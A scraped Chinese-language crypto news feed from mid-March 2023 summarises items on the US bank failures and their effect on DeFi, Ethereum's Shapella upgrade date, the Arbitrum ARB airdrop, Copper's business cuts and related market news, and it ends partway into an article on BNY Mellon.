    Chainfeeds 导读： TradFi 经历了极具挑战性的一周，并且 DeFi 并未完全隔离，受到巨大影响。Bankless 撰文从协议依赖和银行困境的角度，分析 DeFi 为何仍然容易受到 TradFi 失败的影响，并提出去中心化稳定币、加密支付系统两种加密原生解决方案。 文章来源： https://www.bankless.com/is-defi-too-reliant-on-banks 文章作者： Bankless 观点： Bankless：协议依赖：许多成功协议的背后是中心化的开发人员群体，他们提供对链上智能合约的前端访问并构建未来的路线图项目。与传统的初创公司一样，加密公司依赖于传统的银行系统，项目代币可能因为银行困境遭到破坏。【原文为英文】 内容来源 Bankless：银行困境：倒闭的银行显着提高了中心化风险，这种风险部分原因是初创企业的特殊需求，以及银行选择为加密公司提供银行服务所面临的监管障碍，这迫使加密公司选择精品银行，这在业务良好时是个好主意，但在经济衰退的时候，会高度暴露于存款人行业的周期性，面临很大程度的风险。【原文为英文】 内容来源 Bankless：解决方案：1）去中心化稳定币，任何抵押品支持不足的中心化稳定币都可能发生挤兑。可以选择使用以太支持的 LUSD 和 RAI，其偿付能力证明可以在链上验证，并且仅取决于协议清算抵押不足头寸的能力。2）使用创新的加密支付系统，链上管理工资和其他费用，例如 LlamaPay。将未使用的资金存储在以太支持的去中心化稳定币中并转向链上费用支付解决方案可能是朝着正确方向迈出的一步。【原文为英文】 内容来源  ( 8 min )
    Polygon 将其模块化区块链项目 Avail 分拆为独立实体，由 Avail 联创收购并继续在独立实体中运营
    Polygon 将其模块化区块链项目 Avail 分拆为独立实体，由 Avail 联创收购并继续在独立实体中运营 Polygon Labs 宣布将其模块化区块链项目 Avail 分拆为独立实体，Avail 联合创始人 Anurag Arjun 离职并收购了 Avail。Polygon 表示，Anurag Arjun 将成为 Avail 唯一管理者并继续在一个独立自筹资金的实体中运营该项目。这次分拆是一个双赢的局面，Avail 将从创新和独立的方式的自主开发中受益，而 Polygon Labs 也能专注于以太坊扩展产品开发。作为交易的一部分，Polygon 整体 Avail 团队将转移至新实体。且 Avail 将创建一个新的非营利基金会 Avail Foundation，并最终将治理权移交给社区。 据 The Block 介绍，Avail 允许开发者构建可定制和可扩展的应用程序，目前已在测试网上线，主网将在不久后推出。 内容来源  ( 222 min )
    DeFi 保险协议 Nexus Mutual V2 版本已上线以太坊主网
    DeFi 保险协议 Nexus Mutual V2 版本已上线以太坊主网 DeFi 保险协议 Nexus Mutual V2 版本已上线以太坊主网。V2 版本将协议重新设计为风险管理基础设施层，用户可以启动质押池、管理和定价风险、开发新产品及构建去中心化网络等。且 V2 版本承保范围已扩大至新的风险类型。V2 版本的设计是为了实现无缝整合，用户能够在存款页面和第三方用户界面中购买保险。为了让用户具有更大的控制权，V2 版本还将保险进行代币化。此外，Nexus Mutual 正在和 BootNode 合作开发覆盖式保险。未来几周内， Nexus Mutual 将会分享更多关于新功能、迁移及整合的资源。 内容来源  ( 2 min )
    美国区块链协会要求 FDIC、美联储披露有关加密「去银行化」的文件
    美国区块链协会要求 FDIC、美联储披露有关加密「去银行化」的文件 据 The Block 报道，最大的加密货币游说团体之一的美国区块链协会，向联邦存款保险公司（FDIC）、美联储和货币监理署（OOC）发送了《信息自由法》（FOIA）请求，要求提供有关加密货币公司「去银行化」的文件和通讯。该协会首席执行官 Kristin Smith 在一份电子邮件声明中表示，FOIA 请求旨在揭开美国加密货币公司可能被拒绝访问银行服务背后的真相，包括更多地了解合规加密货币企业账户或被关闭的情况。 内容来源  ( 223 min )
    Coinbase：质押验证者在 2022 年收入预估为 30 亿美元
    Coinbase：质押验证者在 2022 年收入预估为 30 亿美元 Coinbase 表示 Staking 使支付处理民主化，在今天的金融系统中，转账更多依赖于第三方来处理。据公开数据显示，仅在美国，支付处理商在 2022 年收取的费用就超过 5000 亿美元。如果不是大型公司运营从支付基础设施中获利，可以支持质押，那么普通人就可以从中赚取收益，质押验证者在 2022 年的收入估计为 30 亿美元，呼吁用户参与 Staking。 内容来源  ( 2 min )
    Coinbase 披露 L2 网络 Base 进展：发布首周测试网部署了 5.5 万个智能合约
    Coinbase 披露 L2 网络 Base 进展：发布首周测试网部署了 5.5 万个智能合约 Coinbase 披露其 Layer2 网络 Base 进展，1.8 万多个开发者于第一周在测试网上部署了 5.5 万个智能合约；与 Zora 合作发布的「Base, Introduced」NFT 第一周铸造数量达到 48.5 万枚。 内容来源  ( 2 min )
    21Shares 正在关闭五只基金并将另一只基金退市
    21Shares 正在关闭五只基金并将另一只基金退市 据彭博社报道，交易所交易产品（ETP）发行商 21Shares 公司发言人证实，由于投资者需求下降，正在关闭五只基金并将另一只基金退市。正在关闭的五只基金包括 21Shares S&P Risk Controlled Bitcoin Index ETP（SPBTC）、21Shares S&P Risk Controlled Ethereum Index ETP（SPETH）、21Shares DeFi 10 Infrastructure ETP（DEFII）、21Shares Crypto Layer 1 ETP (LAY1) 和 21Shares USD Yield ETP (USDY)。这些 ETP 的最后交易日是 4 月 6 日。21Shares Terra Classic ETP (LUNA) 将从 6 月 12 日起退市。这六只基金的总资产规模不到 70 万美元。 内容来源  ( 2 min )
    消息人士：加密托管公司 Copper 已放弃其软件和基础设施开发业务
    消息人士：加密托管公司 Copper 已放弃其软件和基础设施开发业务 据 CoinDesk 援引消息人士报道，加密托管公司 Copper 已经放弃其企业业务，即公司软件和基础设施开发业务。理由是 Copper 的 Clear Loop 托管和结算业务在未来更具经济意义。消息人士表示，Copper 的企业部门将面临裁员，尚不清楚具体受到影响的员工数量。Copper 随后在一份声明中表示，Copper 正在精简业务，将进行裁员。 此前于 2022 年 12 月，Copper 收到安全问题警报，涉及公司的 GitHub 存储库，其中包含公司如何保护客户资产的蓝图。当时一位消息人士表示，该公司的整个代码库都容易受到攻击并被下载。 内容来源  ( 65 min )
    以太坊核心开发者确认于 4 月 12 日在以太坊主网进行上海升级
    以太坊核心开发者确认于 4 月 12 日在以太坊主网进行上海升级 以太坊核心开发者在第 157 次以太坊执行层核心开发者会议（ACDE）将以太坊主网上海升级启动时间确定为 4 月 12 日，一旦该日期被开发者投票通过并经过 GitHub 确认将不会再改变。 此前消息，以太坊 Goerli 测试网于北京时间 3 月 15 日 6:26 激活 Shapella 升级，这是以太坊验证者能够从信标链中提取 ETH 之前的最后一次测试。 内容来源 观点： Ben Edgington：尽管以太坊 Goerli 测试网上海升级由于验证者节点没有及时升级导致参与率不高，但我们看到所有客户端类型都在生产有效区块，且参与率随着时间的推移有所上升，这并不是什么大问题。我们并不担心这种情况会在主网发生，因为用户通常都会积极维护主网质押基础设施。【原文为英文】 内容来源  ( 68 min )

  • Open

    花花公子持有的以太坊计提490万美元减值损失
    PANews 3月17日消息，据CoinDesk报道，《花花公子》杂志母公司PLBY集团表示，由于加密货币价格大幅下跌，其去年持有的以太坊计提了490万美元的减值损失。该公司表示，它接受以太坊作为其2021年推出的NFT系列“Rabbitars”的支付方式，并在其资产负债表中将以太坊作为数字资产持有。年报显示，截至去年年底，这些数字资产的价值为32.7万美元。该公司解释说，其数字资产作为“不确定使用年限的无形资产”，如果资产的公允价值低于其账面价值，这些资产将会计提减值损失。公司对数字资产计提的减值损失无法转回，即使此后资产公允价值上升。  ( 4 min )
    MakerDAO已通过将美国国债投资上限提高至12.5亿美元的提案
    PANews 3月17日消息，据官方消息，MakerDAO将美国国债投资上限从5亿美元提高至12.5亿美元的提案已获得通过。该提案获得了77%的投票支持，MakerDAO将在PSM中使用7.5亿美元的USDC购买更多的美国国债，从而使支持DAI的流动资产更加多样化。这些债券每两周到期一次，在为期六个月的时间内，将总共购买12次，每次6250万美元。根据提案，该策略预计在扣除托管和预期交易成本后，净年化收益率为4.6%至4.5%。  ( 4 min )
    区块链协会要求美联储、OCC和FDIC披露有关加密公司“去银行化”的文件
    PANews 3月17日消息，据The Block报道，美国加密游说团体区块链协会（Blockchain Association）周四向美联储、货币监理署（OCC）和联邦存款保险公司（FDIC）发送《信息自由法》（FOIA）请求，要求提供有关加密公司“去银行化”的文件和通讯。该协会首席执行官Kristin Smith在一份电子邮件声明中表示，FOIA请求旨在揭开美国加密货币公司可能被拒绝访问银行服务背后的真相，包括更多了解合规加密公司银行账户或被关闭的情况。此外，区块链协会正在“调查有关去银行化的指控——包括关闭账户和拒绝开设新账户”，这可能导致Signature Bank、硅谷银行和Silvergate的倒闭。区块链协会拥有包括Kraken和Ripple Labs在内的知名成员。  ( 4 min )
    赵长鹏：政策制定者和加密交易所应加强合作，双方不可互相替代
    PANews 3月17日消息，币安CEO赵长鹏推特发文称，加密货币行业受益于一致而明确的监管。我们需要合作才能实现这一目标。竞争驱动创新。完善的、基于风险的政策将有助于营造竞争环境。创新必须以负责任的方式进行，以保护用户。政策制定者应该高效地推动一致且明确的法规。而加密交易所必须继续做正确的事情，始终把用户放在第一位。加密行业需要双方不断进步，双方不可互相替代。  ( 4 min )
    道富银行已终止与加密托管公司Copper的合作
    PANews 3月17日消息，据CoinDesk报道，道富银行表示，已结束与加密货币托管公司Copper的合作关系。道富银行发言人在电子邮件中表示，两家银行已共同决定终止许可协议。道富银行将继续致力于“为代币化证券和原生代币提供多方面的解决方案”，并补充称“数字资产的监管环境一直在发展，为这一资产类别提供服务的要求也在不断变化。”周四早些时候，Copper宣布将关闭其企业基础设施业务，未来将专注于其Clear Loop托管和结算业务。  ( 4 min )
    美国多家大型银行向First Republic Bank提供300亿美元存款救助
    PANews 3月17日消息，据彭博社报道，美国多家大型银行已向First Republic Bank提供300亿美元存款救助。根据周四的一份声明，摩根大通、美国银行、花旗和富国银行将各自提供50亿美元的无保险存款，高盛和摩根士丹利将存入25亿美元，纽约梅隆银行、PNC银行、道富银行、美国合众银行、Truist将各存入10亿美元。美国财政部长耶伦、美联储主席杰鲍威尔、联邦存款保险公司（FDIC）主席马丁·格伦伯格和美国货币监理署代理署长Michael Hsu在一份联合声明中表示，救助计划显示了银行体系的韧性。First Republic的股价周四大幅震荡，早盘一度暴跌36%，在救助计划细节公布后，日内一度飙升28%。在因剧烈波动而导致交易多次暂停后，股价收盘上涨10%。  ( 4 min )
    Space ID总供应量的10%预留给社区空投，三日内公布空投细节
    PANews 3月16日消息，去中心化域名协议 SPACE ID 宣布推出治理代币 ID，并将在币安 Launchpad 上进行公售，代币分发将于 2023 年 3 月 22 日 18:00 开始。ID 将有质押、支付、治理功能，代币总供应量为 20 亿枚，总供应量的 5% 分配给 Binance Launchpad 参与者，总供应量的 10% 预留给社区空投，21%的社区空投（占总供应量的2.1%）将有资格在币安交易时为所有尝鲜SPACE ID的用户申领。早期使用者的快照已拍摄，空投分发细节将在三日内公布。  ( 4 min )
    Binance Launchpad将上线Space ID（ID）
    PANews 3月16日消息，Binance 宣布即将上线第 30 个 Launchpad 项目 Space ID（ID），并开启 BNB 专场，此次售卖将基于投入模式，Binance 将根据用户 5 日的 BNB 日平均持仓确定用户可投入额度。BNB 持仓快照周期为 2023 年 03 月 17 日上午 08:00 至 2023 年 03 月 22 日上午 08:00（东八区时间）。  ( 4 min )
    以太坊主网将于4月12日进行上海（Shapella）升级
    PANews 3月16日消息，据CoinDesk报道，以太坊核心开发者在电话会议中确认于 4 月 12 日在以太坊主网进行上海（Shapella）升级，该升级将启用质押的 ETH 提款，待 GitHub 上的开发人员确认日期，该日期将固定不再改变。  ( 4 min )
    你能领多少ARB代币？速览Arbitrum代币经济学和空投细则
    来源：Arbitrum Foundation 编译：Karen，Foresight News 今晚 Arbitrum正式官宣为 Arbitrum One 和 Arbitrum Nova 网络推出 DAO 治理和治理代币 ARB，同时公布备受期待的空投细节，目前已开放空投资格查询。 Arbitrum 代币 ARB 初始总供应量 100 亿枚，每年最多通货膨胀 2%。代币空投方面，初始总供应量的 11.62% 会空投给 Arbitrum 用户，1.13% 将空投给构建在 Arbitrum 构建应用的 DAO 金库，空投快照时间为 2 月 6 日（Arbitrum One 区块 58642080 处）。具体代币分配如下： 大家最关心的空投资格方面，Arbitrum 制定了一个积分系统，积分上限为 15 分，积分标准主要追踪用户在 Arbitrum One 上的活动；一小部分标准适用于 Arbitrum Nova 上的活动，Arbitrum Nova 用户可以获得 4 个积分（如果已经在 Arbitrum One 上获得 4 分或 4 分以上，则额外再加 1 分）。 Arbitrum One 上积分赚取符合条件： 积分可兑换的代币数量： Arbitrum 也制定了一些抗女巫规则，包括： DAO 空投方面，Arbitrum 为在其生态系统中构建应用的 DAO 以及以太坊贡献者组织 Protocol Guild 分配单独的空投（初始总供应量的 1.13%），这部分空投代币是根据多种因素加权的，包括项目在 Arbitrum 上的持续时间、链上 TVL、项目是否是 Arbitrum 原生的，以及项目是否使用实际的链上资金运作。  ( 5 min )
    PA日报｜Arbitrum将于3月23日空投治理代币ARB；百度发布大语言模型“文心一言”
    今日要闻提示： 美国SEC主席：权益证明代币属于证券，需根据美国法律进行注册 欧盟关于数字身份框架的提案获得欧洲议会全体表决通过 Arbitrum将于3月23日向其社区成员空投代码为ARB的治理代币 百度正式发布大语言模型“文心一言” 美联储将于7月推出实时支付系统FedNow Service Circle：已基本清除所有积压的USDC铸造和赎回请求 支付巨头Stripe以500亿美元估值完成超65亿美元融资，较2021年估值下降47% Uniswap V3现已上线BNB Chain 监管消息 德国和美国当局扣押与ChipMixer调查相关的超过4600万美元的加密货币 据欧盟执法合作署(Europol) 称，德国和美国当局从著名的加密货币混合器 ChipMixer 没收了高达 4400 万欧元（4630 万美元）的资金。欧洲刑警组织周三表示，有关当局关闭了该平台的基础设施，没收​​了四台服务器、7TB 数据和 1909.4 比特币 (BTC)。比利时、波兰和瑞士也支持此次扣押。 据称，混币器 ChipMixer 允许其客户隐藏其犯罪行为的踪迹，例如毒品或武器贩运、勒索软件攻击和支付欺诈。 美国SEC主席：权益证明代币属于证券，需根据美国法律进行注册 据The Block报道，美国证券交易委员会（SEC）主席Gary Gensler周三向记者表示，根据美国法律，权益证明代币应被视为证券。Gensler表示，代币持有者从质押中获得的回报表明，这些代币是证券，需要根据美国法律进行注册。Gensler是在被问及对上周美国商品期货交易委员会（CFTC）主席Rostin Behnam的声明有何反应时发表上述言论的。Rostin Behnam当时表示，以太币是一种大宗商品。Gensler此前曾表示，权益证明协议可能受美国证券法管辖。此外，纽约总检察长Letitia James在针对加密公司KuCoin提起的诉讼中表示，以太币是一种未注册的证券，包括Vitalik Buterin在内的创始人违反了美国证券法。 外媒：美FDIC拟于周五拍卖硅谷银行和Signature Bank，后者买家或须放弃加密业务 据路透社报道，知情人士透露，美国联邦存款保险公司（FDIC）的监管人员要求有意收购破产的硅谷银行和Signature Bank的金融机构在3月17日（周五）之前提交报价。目标是将硅谷银行和Signature Bank全部出售。如果不能整体出售，也可以考虑出售这两家银行的部分股权。 两位消息人士称，只有拥有现有银行牌照的竞标者才被允许在提交报价前研究银行的财务状况。据悉Signature Bank的买家必须同意放弃该银行的所有加密货币业务。当前美国联邦存款保险公司拒绝代表自己和硅谷银行置评，Signature Bank和负责此次拍卖的Piper Sandler亦均未立即回应置评请求。 欧盟关于数字身份框架的提案获得欧洲议会全体表决通过 据The Block报道，欧盟关于数字身份框架的提案以418票赞成、103票反对、24票弃权获得欧洲议会全体表决通过。该法案将强化选择性披露和数据最小化的原则。接下来，该文件将继续进行机构间谈判。 欧盟范围内的框架将使公民能够获得公共服务，并且他们将拥有自己的钱包。该立法包括保护用户隐私的零知识证明技术。ZK-proof 通过验证位置而不泄露不必要的数据来保护隐私。 NFT BAYC：“猴子吉米试炼”新篇章“召唤”已开启 Bored Ape Yacht Club （BAYC）在推特上表示：“召唤(The Summoning)”已正式开启，对所有符合条件的下水道通行证Sewer Pass持有者开放。“召唤”是猴子吉米试炼中的下一个重大事件，允许销毁下水道通行证以召唤能量源（Power Sources），但目前BAYC尚未公布如何使用Power Sources，仅透露将基于Dookey Dash排名有八种不同类型的Power Sources。 此外BAYC还表示用户可以不急于铸造Power Sources，因为召唤将无限期开放，目前有大约3500枚下水道通行证Sewer Pass NFT从未被认领，789个被认领但不符合召唤资格。 Doodles创始人：Doodles将从NFT项目发展成媒体特许经营公司 NFT系列Doodles创始人Jordan Castro在官方Discord宣布，Doodles将从一个“NFT项目”发展成一家领先的媒体特许经营公司。 Castro 表示：“在刺激投机的公开建设上投入得越多，就越不能实现其长期愿景。不会花任何资源去安抚那些有经济动机的人，将把精力集中在忠实持有人身上。” 元宇宙 百度正式发布大语言模型“文心一言” 今日下午百度举行了发布会，正式公布大语言模型“文心一言”，这是一款基于人工智能技术的智能对话系统，可进行语义理解、智能问答和情感交流等多种形式的对话。3月16日起，首批用户即可通过邀请测试码在文心一言官网体验产品，后续将陆续开放给更多用户。 此外，百度智能云即将面向企业客户开放文心一言API接口调用服务。3月16日起正式开放预约，搜索“百度智能云”进入官网，可申请加入文心一言云服务测试。 项目动态 Arbitrum将于3月23日向其社区成员空投代码为ARB的治理代币 据The Block报道，Layer 2 项目 Arbitrum 将于 3 月 23 日向其社区成员空投代码为 ARB 的治理代币。空投将占代币总供应量的 12.75%，代币将分发给在过去一年中使用过该网络的人。该代币将通过 DAO 控制 Arbitrum One 和 Nova 网络的治理，DAO 将得到安全理事会的支持。ARB 的总发行量为 100 亿枚，空投会将总供应量的 11.5% 分配给 Arbitrum 用户，另外 1.25% 分配给 Arbitrum 生态系统中的 DAO 和 Protocol Guild，这是一个由以太坊开发人员组成的 DAO。大部分供应将进入 Arbitrum 基金会，该基金会将由新成立的 Arbitrum DAO 控制。 Offchain Labs 与加密数据提供商 Nansen 合作设计了谁应该收到空投的标准，重点是奖励真正的用户而不是那些试图 farm 系统的人。快照已于 2 月 6 日完成。Offchain Labs 还发布了 Arbitrum Orbit，这是开发人员在 Arbitrum 之上构建第 3 层网络的一种方式。Arbitrum已开放治理代币ARB空投资格查询。 彭博：TrueUSD稳定币发行方Archblock已将10亿美元的储备转移到巴哈马的一家银行 据彭博社报道，TrueUSD稳定币发行方Archblock已将支持该代币的10亿美元储备转移到巴哈马的一家银行。一家独立会计师事务所周三发布的实时证明显示，Archblock管理着支持其TrueUSD稳定币的超20亿美元储备，目前在拿骚Capital Union Bank持有超过14亿美元的资金。这比3月10日的4.38亿美元有所上升。 Uniswap V3现已上线BNB Chain Uniswap Labs 发推表示，Uniswap V3现已上线BNB Chain。 上月，Uniswap DAO“在BNBChain上部署Uniswap V3”提案投票以66%的支持率获得通过。Coinbase以不符合上市标准为由将暂停RLY、YFII等6种加密货币交易 Coinbase在推特上表示：“我们定期监控交易所的资产以确保它们符合我们的上市标准。根据最近的审查，将于美国东部时间2023年3月29日12:00（北京时间3月30日00:00）左右暂停Rally (RLY)、DFI Money (YFII)、Mirror (MIR)、OMG Network (OMG)、Loom Network (LOOM)和Augur (REP)的交易。届时，Coinbase.com、Coinbase Pro、Coinbase Exchange和Coinbase Prime的交易将暂停。用户资金仍然可以访问，并可以随时提取。” 美联储将于7月推出实时支付系统FedNow Service 据CoinDesk报道，美联储在声明中宣布，将于7月实时支付系统FedNow Service， 旨在解决机构间金融交易清算的现有延迟问题。该系统将于下月初开始对第一批参与者进行认证。FedNow Service将全天候运行，并提供即时、全面的资金访问权限。 报道称，FedNow也被视为央行数字货币 (CBDC) 的潜在先驱，尽管该服务也可能破坏数字美元的关键优势之一，即时转账的能力。美联储官员表示，该机构尚未就未来的美国CBDC做出任何决定，他们表示这需要国会、拜登政府和公众的支持。TD Cowen分析师Jaret Seiberg周三在一份客户报告中写道，该系统实际上可能对加密投资者有用，可以让他们“无需在交易平台上留下现金或数字美元即可为交易提供资金和兑现”。 不过，这个美联储的新交易系统并不是第一个，因为银行业已经推出了自己的RTP网络。这个类似的私营部门竞争对手自2017年以来一直在运营。 Coinbase CEO：因美国监管环境落后于其他金融中心，将相应调整投资 针对“Coinbase为新加坡用户免费开放本地银行转账服务”，Coinbase首席执行官Brian Armstrong在推特上表示：“在为加密货币创建明确的监管手册方面，美国监管环境落后于其他主要金融中心（英国、新加坡、中国香港等）。我们将相应地调整我们的投资。” 此外，今日消息，Coinbase将于以太坊Shapella升级后受理质押ETH提币请求，美国用户或需要缴税；Coinbase以不符合上市标准为由，将于北京时间3月30日0:00暂停RLY、YFII、MIR、OMG、LOOM和REP共6种加密货币交易。 富达的加密投资产品Fidelity Crypto已向所有用户开放 据The Block报道，富达数字资产（Fidelity digital Assets）近日已悄然为大众开放了对其加密投资产品Fidelity Crypto的访问。数百万用户现在可以在该平台上免佣金交易比特币和以太坊。知情人士透露，Fidelity Crypto的全面开放是在过去几周内进行的。 该应用程序之前仅限于等候名单。目前新用户客户必须在设置过程中创建富达经纪账户才可使用。 Circle：已基本清除所有积压的USDC铸造和赎回请求 USDC稳定币发行商Circle在博客文章中表示：“截至3月15日美国银行业务结束，我们已经基本上清除了所有积压的USDC铸造和赎回请求。自周一上午以来，Circle已经赎回了38亿美元USDC，并发行了8亿美元USDC。Circle一直不懈地努力与其他银行合作伙伴重新启动服务，特别是支付和USDC赎回服务。3月14日(周二)，我们与一家新的交易银行合作伙伴开通了美国国内汇款业务。我们预计明天将恢复更多功能。我们将继续努力增加更多的交易银行合作伙伴。” 今日晚些时候消息，Circle CEO表示，将减少银行存款规避风险，银行系统风险尚未完全消失。 摩根大通：美联储的贷款计划或将为美国银行系统注入2万亿美元的流动性 据彭博社报道，摩根大通表示，美联储的紧急贷款计划可能会向美国银行系统注入多达2万亿美元的资金，以缓解流动性紧缩。以Nikolaos Panigirtzoglou为首的策略师周三在一份客户报告中写道：“美联储银行定期融资计划的使用量可能会很大。”他们表示，尽管最大的几家银行不太可能利用该计划，但该计划设想的最大使用规模接近2万亿美元，这是除五大银行以外的美国银行所持债券的票面金额。 摩根大通的策略师们写道，尽管美国银行体系中仍有3万亿美元的准备金，但其中很大一部分由大型银行持有。他们表示，流动性收紧既是由于美联储的量化紧缩，也是由于加息导致资金从银行存款转向货币市场基金。 此前3月13日消息，在Silvergate Capital、硅谷银行、Signature Bank相继倒闭后，美联储表示将向符合条件的存款机构提供250亿美元紧急贷款。 推特用户：国际FTX债权人的数量约为140万人 自称是FTX债权人的推特用户@AFTXcreditor在推特上表示：“FTX Trading于昨日发布债权人表单，超过2000页的PDF文件中包含了每个客户的ID和最终帐户余额。基于这些文件，估计国际FTX债权人的数量约为140万人。这是债权人，而不是客户。客户为970万人。据我所知，这使得FTX成为历史上债权人数量最多的破产案。”需要注意的是，文件中的客户ID并不是用户ID（UID），因此想要查询的话只能通过账户余额核对。 今日早些时候消息，FTX及其附属债务人向破产法院提交的财务报表显示，Alameda Research向FTX创始人及高管转账和贷款高达32亿美元。 美国法官拒绝暂停Binance.US收购Voyager资产，交易已延长至3月20日 据CoinDesk报道，美国纽约南区法官Damian Williams在周三提交给法院的文件中裁定，Binance.US出价10亿美元收购Voyager的资产的交易应该继续进行，这驳回了美国政府暂停诉讼等待上诉的请求。 美国检察官Damian Williams辩称，该交易应该被修改或取消，因为它试图有效地免除Voyager及其员工违反税法或证券法的责任。但Williams表示，他之前批准的交易并没有做到这一点，等待更长时间会损害Voyager客户的利益，他们自2022年7月宣布破产以来一直无法使用他们的加密货币。Williams写道，政府文件“夸大并在某些地方错误描述了我的所作所为和我所依赖的权威。”。 根据Voyager和Binance.US达成的另一项协议，原定于3月15日生效的Binance.US购买计划已被延长至3月20日。 融资消息 NFT社交平台Metalink完成600万美元种子轮融资，并推出其移动应用程序 据CoinDesk报道，NFT 投资组合管理和社交平台 Metalink 宣布了之前未公开的 600 万美元种子轮融资，投资者包括 Guy Oseary、Gary Vaynerchuk、MoonPay首席执行官 Ivan Soto-Wright、The Sandbox 创始人 Sebastien Borget、前 Coinbase 首席技术官 Balaji Srinivasan、DJ Justin Blau、Social Capital、Arrington Capital 和 Sound Ventures等。 Metalink 还推出了其移动应用程序，创建了一个据称是代币门控的空间，NFT 收藏家可以在这里互动、汇总公告并跟踪他们的投资组合表现。该应用程序还计划在今年晚些时候推出交易功能，以便用户可以买卖和交换数字资产。 Ark Invest旗下新私人加密基金募资超过1600万美元 根据周三提交给美国证券交易委员会（SEC）的文件，Cathie Wood的Ark Invest旗下一只新加密基金募资超过1600万美元。该基金分美国和开曼群岛两个版本，其中美国基金从9位投资者手中筹集了7,281,630美元，而开曼群岛基金从一位投资者手中筹集了8,993,330美元。这两只基金均于3月1日开放投资，没有明确的募资目标，属于私人基金，只对少数投资者开放。 支付巨头Stripe以500亿美元估值完成超65亿美元融资，较2021年估值下降47% 据CoinDesk报道，支付巨头Stripe以500亿美元的估值完成超65亿美元I轮融资，这比其2021年950亿美元的估值低了约47%。主要投资者包括现有Stripe股东Andreessen Horowitz、Baillie Gifford、Founders Fund、General Catalyst、MSD Partners和Thrive Capital，以及包括GIC、高盛资产和财富管理以及淡马锡在内的新投资者。高盛担任新一轮融资的独家配售代理，摩根大通担任财务顾问。 募集的资金将用于为现任和前任员工提供流动性，并解决与股权奖励相关的员工预扣税义务，导致Stripe股票的退役，这将抵消向第一轮投资者发行的新股。Stripe不需要这笔资金来运营业务。 去年11月，Stripe表示将裁员1000多人，占员工总数的14%，理由是通货膨胀、能源价格上涨和利率上升等宏观经济因素。 重要数据 数据：Paradigm Capital今日将48179枚MKR转入Coinbase，约合3613万美元 据推特用户余烬监测，1小时前，Paradigm Capital（MetaDockTeam区块浏览器插件上标签显示）将48179枚MKR （约合3613万美元）转入了Coinbase。 Paradigm的这些MKR大都来源于Maker: MultiSig地址的转入，并从2019年持有至今。 数据：本月基金持有的比特币减少超1.6万枚，达到17个月低点 据CoinDesk报道，ByteTree Asset Management追踪的数据显示，本月欧洲、美国和加拿大的封闭式基金、以现货和期货为重点的交易所交易基金 (ETF) 持有的代币数量减少了16,560枚BTC（4.09亿美元），现为826,113枚BTC，达到17个月低点。 基金余额的下降表明缺乏机构参与比特币近期的上涨，据报道，这是受到避险需求和美联储下半年降息的新希望推动的。一些观察人士表示，比特币的上涨证明，作为对冲银行体系风险的工具，比特币的吸引力正在增强。  ( 6 min )
    Arbitrum已开放治理代币ARB空投资格查询
    PANews 3月16日消息，官网显示，Arbitrum已开放治理代币ARB空投资格查询。目前，用户可登录网址，查询是否具有申请治理代币ARB的资格。  ( 4 min )
    Arbitrum将于3月23日向其社区成员空投代码为ARB的治理代币
    PANews 3月16日消息，据The Block报道，Layer 2 项目 Arbitrum 将于 3 月 23 日向其社区成员空投代码为 ARB 的治理代币。空投将占代币总供应量的 12.75%，代币将分发给在过去一年中使用过该网络的人。该代币将通过 DAO 控制 Arbitrum One 和 Nova 网络的治理，DAO 将得到安全理事会的支持。ARB 的总发行量为 100 亿枚，空投会将总供应量的 11.5% 分配给 Arbitrum 用户，另外 1.25% 分配给 Arbitrum 生态系统中的 DAO 和 Protocol Guild，这是一个由以太坊开发人员组成的 DAO。大部分供应将进入 Arbitrum 基金会，该基金会将由新成立的 Arbitrum DAO 控制。 Offchain Labs 与加密数据提供商 Nansen 合作设计了谁应该收到空投的标准，重点是奖励真正的用户而不是那些试图 farm 系统的人。快照已于 2 月 6 日完成。Offchain Labs 还发布了 Arbitrum Orbit，这是开发人员在 Arbitrum 之上构建第 3 层网络的一种方式。  ( 4 min )
    欧盟关于数字身份框架的提案获得欧洲议会全体表决通过
    PANews 3月16日消息，据The Block报道，欧盟关于数字身份框架的提案以418票赞成、103票反对、24票弃权获得欧洲议会全体表决通过。该法案将强化选择性披露和数据最小化的原则。接下来，该文件将继续进行机构间谈判。 欧盟范围内的框架将使公民能够获得公共服务，并且他们将拥有自己的钱包。该立法包括保护用户隐私的零知识证明技术。ZK-proof 通过验证位置而不泄露不必要的数据来保护隐私。  ( 4 min )
    Ledger前高管Jean-Michel Pailhon正在筹集2500万美元NFT艺术基金
    PANews 3月16日消息，据The Block报道，Ledger 前高管 Jean-Michel Pailhon 正在为一个 NFT 艺术基金筹集高达 2500 万美元的资金，该基金将优先考虑“具有文化影响力”的区块链艺术。 该基金希望主要吸引非原生加密投资者，特别关注已经持有实体艺术品并希望接触基于区块链的 NFT 艺术品的机构。 截至上周，该基金已从私人银行家和家族办公室获得 200—300 万美元的软承诺。Pailhon 的总部仍将主要设在巴黎，纽约的一位合伙人也将加入。  ( 4 min )
    PA图说 | 一图掌握以太坊上NFT关键数据（2023.03.16）
    NFT日报全新升级，增加更多新维度，NFT交易时可更全面细致参考！ PANews APP 2.0全新升级，带你挖掘热门NFT，捕捉参与机会，点击此处下载PANews即可体验。  ( 4 min )
    “宇宙第一托管行”纽约梅隆银行：加密行业最后的“避风港“
    原文：《风暴中的加密友好银行-纽约梅隆银行 行业最后的避风港》 作者：chatkk 3月13日消息，USDC稳定币发行商Circle的首席执行官Jeremy Allaire发推文称：“我们很高兴地看到，美国政府和金融监管机构采取了关键措施，以减轻部分银行系统带来的风险。硅谷银行100%的存款是安全的，明天将在银行开放。100%的USDC储备金也是安全可靠的，我们将完成剩余硅谷银行现金到纽约梅隆银行的转移。 最近的加密友好银行毫无征兆的一个个倒下，很多亚洲时区的小伙伴们都是在醒来后被一个接一个的新闻给震惊了，从silvergate bank到浓眉大眼的硅谷银行，再到看起来资产负债表很健康的signature bank，很多人都被震惊了，人们不禁要问，美国的银行要完了吗？加密市场要完了吗？结果当然很戏剧化，银行股大跳水，加密市场激烈反弹。 那做完吃瓜群众以后，大家还是回归到一个跟自身发展息息相关的问题，这三家加密友好银行都出现了大问题：清盘、倒闭、被关停，那以后大家用什么银行呢？这个应该是大部分机构用户最关心的问题，从文章开头的新闻可以看出，纽约梅隆银行似乎成为了行业的诺亚方舟，承载着全村人的梦想和希望。 但可以很明确的说出结论，纽约梅隆银行很重要，但它不是全村人的希望，它只是村里大户的希望。因为纽约梅隆银行不是一家普通的银行，它是宇宙第一大托管行。今天我们重点来聊聊纽约梅隆银行。 